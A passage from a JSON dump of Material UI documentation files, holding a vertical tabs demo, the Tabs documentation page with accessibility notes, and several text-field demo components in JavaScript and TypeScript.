    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\ninterface TabPanelProps {\n  children?: React.ReactNode;\n  index: number;\n  value: number;\n}\n\nfunction TabPanel(props: TabPanelProps) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`vertical-tabpanel-${index}`}\n      aria-labelledby={`vertical-tab-${index}`}\n      {...other}\n    >\n      {value === index && (\n        <Box sx={{ p: 3 }}>\n          <Typography>{children}</Typography>\n        </Box>\n      )}\n    </div>\n  );\n}\n\nfunction a11yProps(index: number) {\n  return {\n    id: `vertical-tab-${index}`,\n    'aria-controls': `vertical-tabpanel-${index}`,\n  };\n}\n\nexport default function VerticalTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box\n      sx={{ flexGrow: 1, bgcolor: 'background.paper', display: 'flex', height: 224 }}\n    >\n      <Tabs\n        orientation=\"vertical\"\n        variant=\"scrollable\"\n        value={value}\n        onChange={handleChange}\n        aria-label=\"Vertical tabs example\"\n        sx={{ borderRight: 1, borderColor: 'divider' }}\n      >\n        <Tab label=\"Item One\" {...a11yProps(0)} />\n        <Tab label=\"Item Two\" {...a11yProps(1)} />\n        <Tab label=\"Item Three\" {...a11yProps(2)} />\n        <Tab label=\"Item Four\" {...a11yProps(3)} />\n        <Tab label=\"Item Five\" {...a11yProps(4)} />\n        <Tab label=\"Item Six\" {...a11yProps(5)} />\n        <Tab label=\"Item Seven\" {...a11yProps(6)} />\n      </Tabs>\n      <TabPanel value={value} index={0}>\n        Item One\n      </TabPanel>\n      <TabPanel value={value} index={1}>\n        Item Two\n      </TabPanel>\n      <TabPanel value={value} index={2}>\n        Item Three\n      </TabPanel>\n      <TabPanel value={value} index={3}>\n        Item Four\n      </TabPanel>\n      <TabPanel value={value} index={4}>\n        Item Five\n      </TabPanel>\n      <TabPanel value={value} index={5}>\n        Item Six\n      </TabPanel>\n      <TabPanel value={value} index={6}>\n        Item Seven\n      </TabPanel>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/tabs.md",
    "content": "---\nproductId: material-ui\ntitle: React Tabs component\ncomponents: Tabs, Tab, TabScrollButton, TabContext, TabList, TabPanel\ngithubLabel: 'scope: tabs'\nmaterialDesign: https://m2.material.io/components/tabs\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/tabs/\ngithubSource: packages/mui-material/src/Tabs\n---\n\n# Tabs\n\n<p class=\"description\">Tabs make it easy to explore and switch between different views.</p>\n\nTabs organize and allow navigation between groups of content that are related and at the same level of hierarchy.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nTabs are implemented using a collection of related components:\n\n- `<Tab />` - the tab element itself. Clicking on a tab displays its corresponding panel.\n- `<Tabs />` - the container that houses the tabs. Responsible for handling focus and keyboard navigation between tabs.\n\n{{\"demo\": \"BasicTabs.js\"}}\n\n## Basics\n\n```jsx\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n```\n\n## Experimental API\n\n`@mui/lab` offers utility components that inject props to implement accessible tabs\nfollowing [WAI-ARIA Authoring Practices](https://www.w3.org/WAI/ARIA/apg/patterns/tabs/):\n\n- `<TabList />` - the container that houses the tabs. Responsible for handling focus and keyboard navigation between tabs.\n- `<TabPanel />` - the card that hosts the content associated with a tab.\n- `<TabContext />` - the top-level component that wraps the Tab List and Tab Panel components.\n\n{{\"demo\": \"LabTabs.js\"}}\n\n## Wrapped labels\n\nLong labels will automatically wrap on tabs.\nIf the label is too long for the tab, it will overflow, and the text will not be visible.\n\n{{\"demo\": \"TabsWrappedLabel.js\"}}\n\n## Colored tab\n\n{{\"demo\": \"ColorTabs.js\"}}\n\n## Disabled tab\n\nA tab can be disabled by setting the `disabled` prop.\n\n{{\"demo\": \"DisabledTabs.js\"}}\n\n## Fixed tabs\n\nFixed tabs should be used with a limited number of tabs, and when a consistent placement will aid muscle memory.\n\n### Full width\n\nThe `variant=\"fullWidth\"` prop should be used for smaller views.\n\n{{\"demo\": \"FullWidthTabs.js\", \"bg\": true}}\n\n### Centered\n\nThe `centered` prop should be used for larger views.\n\n{{\"demo\": \"CenteredTabs.js\", \"bg\": true}}\n\n## Scrollable tabs\n\n### Automatic scroll buttons\n\nUse the `variant=\"scrollable\"` and `scrollButtons=\"auto\"` props to display left and right scroll buttons on desktop that are hidden on mobile:\n\n{{\"demo\": \"ScrollableTabsButtonAuto.js\", \"bg\": true}}\n\n### Forced scroll buttons\n\nApply `scrollButtons={true}` and the `allowScrollButtonsMobile` prop to display the left and right scroll buttons on all viewports:\n\n{{\"demo\": \"ScrollableTabsButtonForce.js\", \"bg\": true}}\n\nIf you want to make sure the buttons are always visible, you should customize the opacity.\n\n```css\n.MuiTabs-scrollButtons.Mui-disabled {\n  opacity: 0.3;\n}\n```\n\n{{\"demo\": \"ScrollableTabsButtonVisible.js\", \"bg\": true}}\n\n### Prevent scroll buttons\n\nLeft and right scroll buttons are never be presented with `scrollButtons={false}`.\nAll scrolling must be initiated through user agent scrolling mechanisms (for example left/right swipe, shift mouse wheel, etc.)\n\n{{\"demo\": \"ScrollableTabsButtonPrevent.js\", \"bg\": true}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedTabs.js\"}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://mui-treasury.com/?path=/docs/tabs-introduction--docs).\n\n## Vertical tabs\n\nTo make vertical tabs instead of default horizontal ones, there is `orientation=\"vertical\"`:\n\n{{\"demo\": \"VerticalTabs.js\", \"bg\": true}}\n\nNote that you can restore the scrollbar with `visibleScrollbar`.\n\n## Nav tabs\n\nBy default, tabs use a `button` element, but you can provide your custom tag or component. Here's an example of implementing tabbed navigation:\n\n{{\"demo\": \"NavTabs.js\"}}\n\n### Third-party routing library\n\nOne frequent use case is to perform navigation on the client only, without an HTTP round-trip to the server.\nThe `Tab` component provides the `component` prop to handle this use case.\nHere is a [more detailed guide](/material-ui/integrations/routing/#tabs).\n\n## Icon tabs\n\nTab labels may be either all icons or all text.\n\n{{\"demo\": \"IconTabs.js\"}}\n\n{{\"demo\": \"IconLabelTabs.js\"}}\n\n## Icon position\n\nBy default, the icon is positioned at the `top` of a tab. Other supported positions are `start`, `end`, `bottom`.\n\n{{\"demo\": \"IconPositionTabs.js\"}}\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/tabs/)\n\nThe following steps are needed in order to provide necessary information for assistive technologies:\n\n1. Label `Tabs` via `aria-label` or `aria-labelledby`.\n2. `Tab`s need to be connected to their\n   corresponding `[role=\"tabpanel\"]` by setting the correct `id`, `aria-controls` and `aria-labelledby`.\n\nAn example for the current implementation can be found in the demos on this page. We've also published [an experimental API](#experimental-api) in `@mui/lab` that does not require\nextra work.\n\n### Keyboard navigation\n\nThe components implement keyboard navigation using the \"manual activation\" behavior.\nIf you want to switch to the \"selection automatically follows focus\" behavior you have to pass `selectionFollowsFocus` to the `Tabs` component.\nThe WAI-ARIA authoring practices have a detailed guide on [how to decide when to make selection automatically follow focus](https://www.w3.org/WAI/ARIA/apg/practices/keyboard-interface/#x6-4-deciding-when-to-make-selection-automatically-follow-focus).\n\n#### Demo\n\nThe following two demos only differ in their keyboard navigation behavior.\nFocus a tab and navigate with arrow keys to notice the difference, for example <kbd class=\"key\">Arrow Left</kbd>.\n\n```jsx\n/* Tabs where selection follows focus */\n<Tabs selectionFollowsFocus />\n```\n\n{{\"demo\": \"AccessibleTabs1.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n/* Tabs where each tab needs to be selected manually */\n<Tabs />\n```\n\n{{\"demo\": \"AccessibleTabs2.js\", \"defaultCodeOpen\": false}}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/BasicTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function BasicTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField id=\"outlined-basic\" label=\"Outlined\" variant=\"outlined\" />\n      <TextField id=\"filled-basic\" label=\"Filled\" variant=\"filled\" />\n      <TextField id=\"standard-basic\" label=\"Standard\" variant=\"standard\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/BasicTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function BasicTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField id=\"outlined-basic\" label=\"Outlined\" variant=\"outlined\" />\n      <TextField id=\"filled-basic\" label=\"Filled\" variant=\"filled\" />\n      <TextField id=\"standard-basic\" label=\"Standard\" variant=\"standard\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/BasicTextFields.tsx.preview",
    "content": "<TextField id=\"outlined-basic\" label=\"Outlined\" variant=\"outlined\" />\n<TextField id=\"filled-basic\" label=\"Filled\" variant=\"filled\" />\n<TextField id=\"standard-basic\" label=\"Standard\" variant=\"standard\" />"
  },
  {
    "path": "docs/data/material/components/text-fields/ColorTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function ColorTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField label=\"Outlined secondary\" color=\"secondary\" focused />\n      <TextField label=\"Filled success\" variant=\"filled\" color=\"success\" focused />\n      <TextField\n        label=\"Standard warning\"\n        variant=\"standard\"\n        color=\"warning\"\n        focused\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/ColorTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function ColorTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField label=\"Outlined secondary\" color=\"secondary\" focused />\n      <TextField label=\"Filled success\" variant=\"filled\" color=\"success\" focused />\n      <TextField\n        label=\"Standard warning\"\n        variant=\"standard\"\n        color=\"warning\"\n        focused\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/ColorTextFields.tsx.preview",
    "content": "<TextField label=\"Outlined secondary\" color=\"secondary\" focused />\n<TextField label=\"Filled success\" variant=\"filled\" color=\"success\" focused />\n<TextField\n  label=\"Standard warning\"\n  variant=\"standard\"\n  color=\"warning\"\n  focused\n/>"
  },
  {
    "path": "docs/data/material/components/text-fields/ComposedTextField.js",
    "content": "import Box from '@mui/material/Box';\nimport FilledInput from '@mui/material/FilledInput';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n\nexport default function ComposedTextField() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1 } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"component-simple\">Name</InputLabel>\n        <Input id=\"component-simple\" defaultValue=\"Composed TextField\" />\n      </FormControl>\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"component-helper\">Name</InputLabel>\n        <Input\n          id=\"component-helper\"\n          defaultValue=\"Composed TextField\"\n          aria-describedby=\"component-helper-text\"\n        />\n        <FormHelperText id=\"component-helper-text\">\n          Some important helper text\n        </FormHelperText>\n      </FormControl>\n      <FormControl disabled variant=\"standard\">\n        <InputLabel htmlFor=\"component-disabled\">Name</InputLabel>\n        <Input id=\"component-disabled\" defaultValue=\"Composed TextField\" />\n        <FormHelperText>Disabled</FormHelperText>\n      </FormControl>\n      <FormControl error variant=\"standard\">\n        <InputLabel htmlFor=\"component-error\">Name</InputLabel>\n        <Input\n          id=\"component-error\"\n          defaultValue=\"Composed TextField\"\n          aria-describedby=\"component-error-text\"\n        />\n        <FormHelperText id=\"component-error-text\">Error</FormHelperText>\n      </FormControl>\n      <FormControl>\n        <InputLabel htmlFor=\"component-outlined\">Name</InputLabel>\n        <OutlinedInput\n          id=\"component-outlined\"\n          defaultValue=\"Composed TextField\"\n          label=\"Name\"\n        />\n      </FormControl>\n      <FormControl variant=\"filled\">\n        <InputLabel htmlFor=\"component-filled\">Name</InputLabel>\n        <FilledInput id=\"component-filled\" defaultValue=\"Composed TextField\" />\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/ComposedTextField.tsx",
    "content": "import Box from '@mui/material/Box';\nimport FilledInput from '@mui/material/FilledInput';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n\nexport default function ComposedTextField() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1 } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"component-simple\">Name</InputLabel>\n        <Input id=\"component-simple\" defaultValue=\"Composed TextField\" />\n      </FormControl>\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"component-helper\">Name</InputLabel>\n        <Input\n          id=\"component-helper\"\n          defaultValue=\"Composed TextField\"\n          aria-describedby=\"component-helper-text\"\n        />\n        <FormHelperText id=\"component-helper-text\">\n          Some important helper text\n        </FormHelperText>\n      </FormControl>\n      <FormControl disabled variant=\"standard\">\n        <InputLabel htmlFor=\"component-disabled\">Name</InputLabel>\n        <Input id=\"component-disabled\" defaultValue=\"Composed TextField\" />\n        <FormHelperText>Disabled</FormHelperText>\n      </FormControl>\n      <FormControl error variant=\"standard\">\n        <InputLabel htmlFor=\"component-error\">Name</InputLabel>\n        <Input\n          id=\"component-error\"\n          defaultValue=\"Composed TextField\"\n          aria-describedby=\"component-error-text\"\n        />\n        <FormHelperText id=\"component-error-text\">Error</FormHelperText>\n      </FormControl>\n      <FormControl>\n        <InputLabel htmlFor=\"component-outlined\">Name</InputLabel>\n        <OutlinedInput\n          id=\"component-outlined\"\n          defaultValue=\"Composed TextField\"\n          label=\"Name\"\n        />\n      </FormControl>\n      <FormControl variant=\"filled\">\n        <InputLabel htmlFor=\"component-filled\">Name</InputLabel>\n        <FilledInput id=\"component-filled\" defaultValue=\"Composed TextField\" />\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputBase.js",
    "content": "import Paper from '@mui/material/Paper';\nimport InputBase from '@mui/material/InputBase';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\nimport DirectionsIcon from '@mui/icons-material/Directions';\n\nexport default function CustomizedInputBase() {\n  return (\n    <Paper\n      component=\"form\"\n      sx={{ p: '2px 4px', display: 'flex', alignItems: 'center', width: 400 }}\n    >\n      <IconButton sx={{ p: '10px' }} aria-label=\"menu\">\n        <MenuIcon />\n      </IconButton>\n      <InputBase\n        sx={{ ml: 1, flex: 1 }}\n        placeholder=\"Search Google Maps\"\n        inputProps={{ 'aria-label': 'search google maps' }}\n      />\n      <IconButton type=\"button\" sx={{ p: '10px' }} aria-label=\"search\">\n        <SearchIcon />\n      </IconButton>\n      <Divider sx={{ height: 28, m: 0.5 }} orientation=\"vertical\" />\n      <IconButton color=\"primary\" sx={{ p: '10px' }} aria-label=\"directions\">\n        <DirectionsIcon />\n      </IconButton>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputBase.tsx",
    "content": "import Paper from '@mui/material/Paper';\nimport InputBase from '@mui/material/InputBase';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport SearchIcon from '@mui/icons-material/Search';\nimport DirectionsIcon from '@mui/icons-material/Directions';\n\nexport default function CustomizedInputBase() {\n  return (\n    <Paper\n      component=\"form\"\n      sx={{ p: '2px 4px', display: 'flex', alignItems: 'center', width: 400 }}\n    >\n      <IconButton sx={{ p: '10px' }} aria-label=\"menu\">\n        <MenuIcon />\n      </IconButton>\n      <InputBase\n        sx={{ ml: 1, flex: 1 }}\n        placeholder=\"Search Google Maps\"\n        inputProps={{ 'aria-label': 'search google maps' }}\n      />\n      <IconButton type=\"button\" sx={{ p: '10px' }} aria-label=\"search\">\n        <SearchIcon />\n      </IconButton>\n      <Divider sx={{ height: 28, m: 0.5 }} orientation=\"vertical\" />\n      <IconButton color=\"primary\" sx={{ p: '10px' }} aria-label=\"directions\">\n        <DirectionsIcon />\n      </IconButton>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputsStyleOverrides.js",
    "content": "import TextField from '@mui/material/TextField';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport Box from '@mui/material/Box';\nimport { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\n\nconst customTheme = (outerTheme) =>\n  createTheme({\n    palette: {\n      mode: outerTheme.palette.mode,\n    },\n    components: {\n      MuiTextField: {\n        styleOverrides: {\n          root: {\n            '--TextField-brandBorderColor': '#E0E3E7',\n            '--TextField-brandBorderHoverColor': '#B2BAC2',\n            '--TextField-brandBorderFocusedColor': '#6F7E8C',\n            '& label.Mui-focused': {\n              color: 'var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n      MuiOutlinedInput: {\n        styleOverrides: {\n          notchedOutline: {\n            borderColor: 'var(--TextField-brandBorderColor)',\n          },\n          root: {\n            [`&:hover .${outlinedInputClasses.notchedOutline}`]: {\n              borderColor: 'var(--TextField-brandBorderHoverColor)',\n            },\n            [`&.Mui-focused .${outlinedInputClasses.notchedOutline}`]: {\n              borderColor: 'var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n      MuiFilledInput: {\n        styleOverrides: {\n          root: {\n            '&::before, &::after': {\n              borderBottom: '2px solid var(--TextField-brandBorderColor)',\n            },\n            '&:hover:not(.Mui-disabled, .Mui-error):before': {\n              borderBottom: '2px solid var(--TextField-brandBorderHoverColor)',\n            },\n            '&.Mui-focused:after': {\n              borderBottom: '2px solid var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n      MuiInput: {\n        styleOverrides: {\n          root: {\n            '&::before': {\n              borderBottom: '2px solid var(--TextField-brandBorderColor)',\n            },\n            '&:hover:not(.Mui-disabled, .Mui-error):before': {\n              borderBottom: '2px solid var(--TextField-brandBorderHoverColor)',\n            },\n            '&.Mui-focused:after': {\n              borderBottom: '2px solid var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n    },\n  });\n\nexport default function CustomizedInputsStyleOverrides() {\n  const outerTheme = useTheme();\n\n  return (\n    <Box\n      sx={{ display: 'grid', gridTemplateColumns: { sm: '1fr 1fr 1fr' }, gap: 2 }}\n    >\n      <ThemeProvider theme={customTheme(outerTheme)}>\n        <TextField label=\"Outlined\" />\n        <TextField label=\"Filled\" variant=\"filled\" />\n        <TextField label=\"Standard\" variant=\"standard\" />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputsStyleOverrides.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport Box from '@mui/material/Box';\nimport { createTheme, ThemeProvider, Theme, useTheme } from '@mui/material/styles';\n\nconst customTheme = (outerTheme: Theme) =>\n  createTheme({\n    palette: {\n      mode: outerTheme.palette.mode,\n    },\n    components: {\n      MuiTextField: {\n        styleOverrides: {\n          root: {\n            '--TextField-brandBorderColor': '#E0E3E7',\n            '--TextField-brandBorderHoverColor': '#B2BAC2',\n            '--TextField-brandBorderFocusedColor': '#6F7E8C',\n            '& label.Mui-focused': {\n              color: 'var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n      MuiOutlinedInput: {\n        styleOverrides: {\n          notchedOutline: {\n            borderColor: 'var(--TextField-brandBorderColor)',\n          },\n          root: {\n            [`&:hover .${outlinedInputClasses.notchedOutline}`]: {\n              borderColor: 'var(--TextField-brandBorderHoverColor)',\n            },\n            [`&.Mui-focused .${outlinedInputClasses.notchedOutline}`]: {\n              borderColor: 'var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n      MuiFilledInput: {\n        styleOverrides: {\n          root: {\n            '&::before, &::after': {\n              borderBottom: '2px solid var(--TextField-brandBorderColor)',\n            },\n            '&:hover:not(.Mui-disabled, .Mui-error):before': {\n              borderBottom: '2px solid var(--TextField-brandBorderHoverColor)',\n            },\n            '&.Mui-focused:after': {\n              borderBottom: '2px solid var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n      MuiInput: {\n        styleOverrides: {\n          root: {\n            '&::before': {\n              borderBottom: '2px solid var(--TextField-brandBorderColor)',\n            },\n            '&:hover:not(.Mui-disabled, .Mui-error):before': {\n              borderBottom: '2px solid var(--TextField-brandBorderHoverColor)',\n            },\n            '&.Mui-focused:after': {\n              borderBottom: '2px solid var(--TextField-brandBorderFocusedColor)',\n            },\n          },\n        },\n      },\n    },\n  });\n\nexport default function CustomizedInputsStyleOverrides() {\n  const outerTheme = useTheme();\n\n  return (\n    <Box\n      sx={{ display: 'grid', gridTemplateColumns: { sm: '1fr 1fr 1fr' }, gap: 2 }}\n    >\n      <ThemeProvider theme={customTheme(outerTheme)}>\n        <TextField label=\"Outlined\" />\n        <TextField label=\"Filled\" variant=\"filled\" />\n        <TextField label=\"Standard\" variant=\"standard\" />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputsStyleOverrides.tsx.preview",
    "content": "<ThemeProvider theme={customTheme(outerTheme)}>\n  <TextField label=\"Outlined\" />\n  <TextField label=\"Filled\" variant=\"filled\" />\n  <TextField label=\"Standard\" variant=\"standard\" />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputsStyled.js",
    "content": "import { alpha, styled } from '@mui/material/styles';\nimport InputBase from '@mui/material/InputBase';\nimport Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\nimport TextField from '@mui/material/TextField';\nimport FormControl from '@mui/material/FormControl';\n\nconst CssTextField = styled(TextField)({\n  '& label.Mui-focused': {\n    color: '#A0AAB4',\n  },\n  '& .MuiInput-underline:after': {\n    borderBottomColor: '#B2BAC2',\n  },\n  '& .MuiOutlinedInput-root': {\n    '& fieldset': {\n      borderColor: '#E0E3E7',\n    },\n    '&:hover fieldset': {\n      borderColor: '#B2BAC2',\n    },\n    '&.Mui-focused fieldset': {\n      borderColor: '#6F7E8C',\n    },\n  },\n});\n\nconst BootstrapInput = styled(InputBase)(({ theme }) => ({\n  'label + &': {\n    marginTop: theme.spacing(3),\n  },\n  '& .MuiInputBase-input': {\n    borderRadius: 4,\n    position: 'relative',\n    backgroundColor: '#F3F6F9',\n    border: '1px solid',\n    borderColor: '#E0E3E7',\n    fontSize: 16,\n    width: 'auto',\n    padding: '10px 12px',\n    transition: theme.transitions.create([\n      'border-color',\n      'background-color',\n      'box-shadow',\n    ]),\n    // Use the system font instead of the default Roboto font.\n    fontFamily: [\n      '-apple-system',\n      'BlinkMacSystemFont',\n      '\"Segoe UI\"',\n      'Roboto',\n      '\"Helvetica Neue\"',\n      'Arial',\n      'sans-serif',\n      '\"Apple Color Emoji\"',\n      '\"Segoe UI Emoji\"',\n      '\"Segoe UI Symbol\"',\n    ].join(','),\n    '&:focus': {\n      boxShadow: `${alpha(theme.palette.primary.main, 0.25)} 0 0 0 0.2rem`,\n      borderColor: theme.palette.primary.main,\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#1A2027',\n      borderColor: '#2D3843',\n    }),\n  },\n}));\n\nconst RedditTextField = styled((props) => (\n  <TextField\n    slotProps={{\n      input: { disableUnderline: true },\n    }}\n    {...props}\n  />\n))(({ theme }) => ({\n  '& .MuiFilledInput-root': {\n    overflow: 'hidden',\n    borderRadius: 4,\n    border: '1px solid',\n    backgroundColor: '#F3F6F9',\n    borderColor: '#E0E3E7',\n    transition: theme.transitions.create([\n      'border-color',\n      'background-color',\n      'box-shadow',\n    ]),\n    '&:hover': {\n      backgroundColor: 'transparent',\n    },\n    '&.Mui-focused': {\n      backgroundColor: 'transparent',\n      boxShadow: `${alpha(theme.palette.primary.main, 0.25)} 0 0 0 2px`,\n      borderColor: theme.palette.primary.main,\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#1A2027',\n      borderColor: '#2D3843',\n    }),\n  },\n}));\n\nconst ValidationTextField = styled(TextField)({\n  '& input:valid + fieldset': {\n    borderColor: '#E0E3E7',\n    borderWidth: 1,\n  },\n  '& input:invalid + fieldset': {\n    borderColor: 'red',\n    borderWidth: 1,\n  },\n  '& input:valid:focus + fieldset': {\n    borderLeftWidth: 4,\n    padding: '4px !important', // override inline-style\n  },\n});\n\nexport default function CustomizedInputsStyled() {\n  return (\n    <Box\n      component=\"form\"\n      noValidate\n      sx={{ display: 'grid', gridTemplateColumns: { sm: '1fr 1fr' }, gap: 2 }}\n    >\n      <FormControl variant=\"standard\">\n        <InputLabel shrink htmlFor=\"bootstrap-input\">\n          Bootstrap\n        </InputLabel>\n        <BootstrapInput defaultValue=\"react-bootstrap\" id=\"bootstrap-input\" />\n      </FormControl>\n      <RedditTextField\n        label=\"Reddit\"\n        defaultValue=\"react-reddit\"\n        id=\"reddit-input\"\n        variant=\"filled\"\n        style={{ marginTop: 11 }}\n      />\n      <CssTextField label=\"Custom CSS\" id=\"custom-css-outlined-input\" />\n      <ValidationTextField\n        label=\"CSS validation style\"\n        required\n        variant=\"outlined\"\n        defaultValue=\"Success\"\n        id=\"validation-outlined-input\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/CustomizedInputsStyled.tsx",
    "content": "import { alpha, styled } from '@mui/material/styles';\nimport InputBase from '@mui/material/InputBase';\nimport Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\nimport TextField, { TextFieldProps } from '@mui/material/TextField';\nimport FormControl from '@mui/material/FormControl';\nimport { OutlinedInputProps } from '@mui/material/OutlinedInput';\n\nconst CssTextField = styled(TextField)({\n  '& label.Mui-focused': {\n    color: '#A0AAB4',\n  },\n  '& .MuiInput-underline:after': {\n    borderBottomColor: '#B2BAC2',\n  },\n  '& .MuiOutlinedInput-root': {\n    '& fieldset': {\n      borderColor: '#E0E3E7',\n    },\n    '&:hover fieldset': {\n      borderColor: '#B2BAC2',\n    },\n    '&.Mui-focused fieldset': {\n      borderColor: '#6F7E8C',\n    },\n  },\n});\n\nconst BootstrapInput = styled(InputBase)(({ theme }) => ({\n  'label + &': {\n    marginTop: theme.spacing(3),\n  },\n  '& .MuiInputBase-input': {\n    borderRadius: 4,\n    position: 'relative',\n    backgroundColor: '#F3F6F9',\n    border: '1px solid',\n    borderColor: '#E0E3E7',\n    fontSize: 16,\n    width: 'auto',\n    padding: '10px 12px',\n    transition: theme.transitions.create([\n      'border-color',\n      'background-color',\n      'box-shadow',\n    ]),\n    // Use the system font instead of the default Roboto font.\n    fontFamily: [\n      '-apple-system',\n      'BlinkMacSystemFont',\n      '\"Segoe UI\"',\n      'Roboto',\n      '\"Helvetica Neue\"',\n      'Arial',\n      'sans-serif',\n      '\"Apple Color Emoji\"',\n      '\"Segoe UI Emoji\"',\n      '\"Segoe UI Symbol\"',\n    ].join(','),\n    '&:focus': {\n      boxShadow: `${alpha(theme.palette.primary.main, 0.25)} 0 0 0 0.2rem`,\n      borderColor: theme.palette.primary.main,\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#1A2027',\n      borderColor: '#2D3843',\n    }),\n  },\n}));\n\nconst RedditTextField = styled((props: TextFieldProps) => (\n  <TextField\n    slotProps={{\n      input: { disableUnderline: true } as Partial<OutlinedInputProps>,\n    }}\n    {...props}\n  />\n))(({ theme }) => ({\n  '& .MuiFilledInput-root': {\n    overflow: 'hidden',\n    borderRadius: 4,\n    border: '1px solid',\n    backgroundColor: '#F3F6F9',\n    borderColor: '#E0E3E7',\n    transition: theme.transitions.create([\n      'border-color',\n      'background-color',\n      'box-shadow',\n    ]),\n    '&:hover': {\n      backgroundColor: 'transparent',\n    },\n    '&.Mui-focused': {\n      backgroundColor: 'transparent',\n      boxShadow: `${alpha(theme.palette.primary.main, 0.25)} 0 0 0 2px`,\n      borderColor: theme.palette.primary.main,\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#1A2027',\n      borderColor: '#2D3843',\n    }),\n  },\n}));\n\nconst ValidationTextField = styled(TextField)({\n  '& input:valid + fieldset': {\n    borderColor: '#E0E3E7',\n    borderWidth: 1,\n  },\n  